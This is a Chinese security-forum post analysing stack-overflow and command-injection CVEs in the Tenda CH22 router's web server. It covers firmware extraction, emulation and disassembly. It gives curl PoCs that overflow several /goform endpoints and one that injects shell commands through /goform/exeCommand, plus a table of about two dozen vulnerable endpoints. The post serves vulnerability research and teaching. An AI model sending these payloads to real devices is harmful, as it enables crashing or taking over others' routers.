首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
IoT安全
发新帖
3
1
[原创]Tenda CH22多个漏洞分析
发表于: 2026-1-6 10:41
16647
[原创]Tenda CH22多个漏洞分析
BornChu
2026-1-6 10:41
16647
近期看到CVE上出现好多这个设备的漏洞,就看了一下,设备比较老,不是很复杂,适合新手入门 ## 漏洞定位 从漏洞信息了解到,是通过网页配置访问到漏洞点的,直接分析http服务 ### 提取httpd&仿真 binwalk一把梭 ```bash iot@iot:~$ binwalk US_CH22V1BR_CH22_V1.0.0.1_CN.bin -Me iot@iot:~$ cd _US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/bin iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/bin$ file httpd httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped ``` qemu直接起 ```bash iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root$ cp /usr/bin/qemu-arm-static ./ iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-arm-static ./bin/httpd ``` ### IDA分析 根据字符串快速定位到路径处  这一段应该是做的路径解析,如果路径不存在则通过websFormHandler返回error,存在则在sub_2DB50中做跳转  这里不难看出,根据不同的路径会跳转到不同的解析里面,主要分为asp和非asp两类,找到位置就方便研究漏洞了 ## CVE-2025-9813 这里先拿CVE-2025-9813分析,根据漏洞描述这个漏洞在/goform/SetSambaConf下,通过操作samba_userNameSda溢出  根据描述漏洞就在这一块了,传入的参数为s_1,大小可控,v3为s_1的总长度,v4为s_1从`*`起到末尾的长度,也就是说原本的输入可能类似于`username*password` 在第60行s_1直接传给了s[256],导致溢出  同样的问题也出在下方,只不过需要用到`:`做分隔,溢出点dest[256]就不过多赘述了  PoC: ```bash curl -i -X POST 'http://192.168.127.100/goform/SetSambaConf' -d "samba_userNameSda=$(python3 -c "print('A' * 300 + '*')")" ``` ## CVE-2025-12271 CVE-2025-12271的情况也是同理 从描述来看是需要利用/goform/RouteStatic中的page这个参数  在fromRouteStatic这个函数中与前者不同的是,此函数会先将entrys以及mitInterface的值传入sub_39798这个函数中,不过并不存在判断条件,所以还是可以直接触发漏洞 漏洞点在于sprinf前未对v6的长度做校验,直接拼接前面的路径传入s,如果写exp需要注意偏移量  PoC: ```bash curl -i -X POST 'http://192.168.127.100/goform/RouteStatic' -d "page=$(python3 -c "print('A' *(300 - len('routing_static.asp?page=')))")" ``` 此外,类似的page溢出还有很多,原理都是sprint未经校验直接拼接重定向url导致 ## CVE-2025-14526  PoC: ```bash curl -i -X POST 'http://192.168.127.100/goform/L7Im' -d "page=$(python3 -c "print('A' *(300 - len('im.asp?page=%s')))")" ``` ## CVE-2025-9812 结合通告信息,很明显是有溢出  但实际上更大的问题在后面,可以使用`;`分隔实现命令注入 或许是由于使用的用户模式仿真,能够利用的函数较少,这里只贴个PoC没深入研究 PoC: ```bash curl -X POST -d "cmdinput=ping 127.0.0.1 -c 3; pwd; ls; cd bin/; pwd; ls; " http://192.168.127.100/goform/exeCommand ```  ## 栈溢出漏洞列表 类似的漏洞还有很多,这里贴一张列表 | CVE ID | 接口路径 | 关键参数 | 描述 | | :----------------- | :----------------------------- | :------------------ | :----------------------------------------------------------- | | **CVE-2025-9813** | `/goform/SetSambaConf` | `samba_userNameSda` | `formSetSambaConf` 函数处理用户输入时未检查长度,导致栈溢出。 | | **CVE-2025-9812** | `/goform/exeCommand` | `cmdinput` | `formexeCommand` 函数处理命令输入时发生缓冲区溢出,风险极高(可能涉及命令注入)。 | | **CVE-2025-9748** | `/goform/IPSECsave` | `ipsecno` | `fromIpsecitem` 函数处理 IPSec 配置时存在溢出。 | | **CVE-2025-9443** | `/goform/editUserName` | `new_account` | `formeditUserName` 函数修改用户账户时发生溢出。 | | **CVE-2025-9007** | `/goform/editFileName` | *(未指定)* | `formeditFileName` 函数编辑文件名时存在溢出。 | | **CVE-2025-9006** | `/goform/delFileName` | *(未指定)* | `formdelFileName` 函数删除文件时存在溢出。 | | **CVE-2025-8180** | `/goform/deleteUserName` | *(未指定)* | `formdeleteUserName` 函数删除用户时存在溢出。 | | **CVE-2025-5685** | `/goform/Natlimit` | `page` | `formNatlimit` 函数处理分页参数时存在溢出。 | | **CVE-2025-5619** | `/goform/addUserName` | `Password` | `formaddUserName` 函数添加用户(处理密码)时存在溢出。 | | **CVE-2025-14526** | `/goform/L7Im` | `page` | `frmL7ImForm` 函数处理分页参数时存在溢出。 | | **CVE-2025-13400** | `/goform/WrlExtraGet` | `chkHz` | `formWrlExtraGet` 函数处理频率检查参数时存在溢出。 | | **CVE-2025-13288** | `/goform/PPTPUserSetting` | `delno` | `fromPptpUserSetting` 函数处理删除编号参数时存在溢出。 | | **CVE-2025-12322** | `/goform/NatStaticSetting` | `page` | `fromNatStaticSetting` 函数处理分页参数时存在溢出。 | | **CVE-2025-12274** | `/goform/P2pListFilter` | `page` | `fromP2pListFilter` 函数处理分页参数时存在溢出。 | | **CVE-2025-12273** | `/goform/webExcptypemanFilter` | `page` | `fromwebExcptypemanFilter` 函数处理分页参数时存在溢出。 | | **CVE-2025-12272** | `/goform/addressNat` | `page` | `fromAddressNat` 函数处理分页参数时存在溢出。 | | **CVE-2025-12271** | `/goform/RouteStatic` | `page` | `fromRouteStatic` 函数处理分页参数时存在溢出。 | | **CVE-2025-12265** | `/goform/VirtualSer` | `page` | `fromVirtualSer` 函数处理分页参数时存在溢出。 | | **CVE-2025-12236** | `/goform/DhcpListClient` | `page` | `fromDhcpListClient` 函数处理分页参数时存在溢出(与 15229 不同参数)。 | | **CVE-2025-12235** | `/goform/SetIpBind` | `page` | `fromSetIpBind` 函数处理分页参数时存在溢出。 | | **CVE-2025-12234** | `/goform/SafeMacFilter` | `page` | `fromSafeMacFilter` 函数处理分页参数时存在溢出。 | | **CVE-2025-12233** | `/goform/SafeUrlFilter` | `page` | `fromSafeUrlFilter` 函数处理分页参数时存在溢出。 | | **CVE-2025-12232** | `/goform/SafeClientFilter` | `page` | `fromSafeClientFilter` 函数处理分页参数时存在溢出。 | | **CVE-2025-11117** | `/goform/GstDhcpSetSer` | `dips` | *(注:描述函数为 formWrlExtraGet)* 处理 DHCP 设置时发生溢出。 |
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#固件分析
#漏洞分析
#家用设备
收藏
・
3
点赞
・
1
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
感谢你的积极参与,期待更多精彩内容!
2026-7-16 11:16
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
BornChu
1
发帖
0
回帖
10
RANK
关注
私信
他的文章
[原创]Tenda CH22多个漏洞分析
16647
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部